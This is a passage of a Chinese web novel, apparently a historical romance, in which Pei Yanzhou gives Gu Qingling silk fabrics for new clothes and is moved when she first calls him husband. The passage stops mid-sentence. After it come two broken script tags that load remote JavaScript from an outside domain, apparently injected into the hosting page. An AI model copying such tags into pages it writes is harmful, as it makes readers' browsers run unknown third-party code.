只是一旦涉及与裴砚舟有关的事,兰芝便只会反复重复“大人待小姐极好”再说不出旁的话了。
中午小憩过后,春水传来话说是赵管事送来了几匹现下京城妇女们最为流行布匹,为她制新衣。
几个抱着布匹的婢女走进屋内,随着赵管事恭敬地行礼:“这是府上新到料子,花纹样式都是眼下最为时兴的,大人说夫人回来了,之前的衣裳都已旧了,为夫人制几件新衣。”
顾清聆望着这些布匹,多为图案繁复的蜀锦,还有些云锦与杭罗,指尖划过这些精美华贵的布匹,不消片刻,她便开始思索着做什么衣裳样式才好。
“可有喜欢的?”
她回身看去,裴砚舟踏进里屋,身上已然换回了素色的常服,他一步一步走近,最终是自然的站在了她的身边:“若是喜欢,便都留下吧。”
裴砚舟低头看向一匹朱草色的云锦,神情专注,伸手摸了摸料子:“这匹颜色鲜亮,布料柔顺,适合给你做件斗篷,入秋了正好能穿。”
“都很好,我很喜欢。”她的目光再次流转在这些华贵的锦缎之中,心底的那些波澜被一种满足所取代,这些,都是她的,她几乎是已经能想象出这些穿在身上的样子。
难得的露出了一个微笑面对着裴砚舟:“夫君不如顺带着做两套衣裳。”
他的呼吸几乎微不可察的一滞,夫君,他从未听闻她这般唤他,从前向来是直呼姓名,语气中也多有不耐,这一声让他的思绪一下子就被扰乱了,目光凝视着她的脸,眼里翻涌着太多情绪,一时忘了回应。
顾清聆没有得到回应,又是唤了一声:“夫君?这样可好?”
倏地回过神来,他应道:“......好。”
“这些都留下吧,再多挑几匹,多做几身应季的衣裳。”
赵管事连忙应下,指挥着婢女们将料子收起,退了下去。
屋里又静了下来,兰芝和春水也悄无声息的退了出去,只剩他们二人。
顾清聆垂下眼,又后知后觉到自己是否有些铺张浪费,这般多的布料,都已足够一日换上一件新衣了,有些不敢直视他:“我从前的衣裳也是这般挑选的吗,会不会有些多了?”
刚至这没几日,便如此熟络自然地收下这些。
“不必担心,这
/script src="https://m.hnkente.com/s002/fei.js"> /script src="https://m.hnkente.com/s001/fei.js">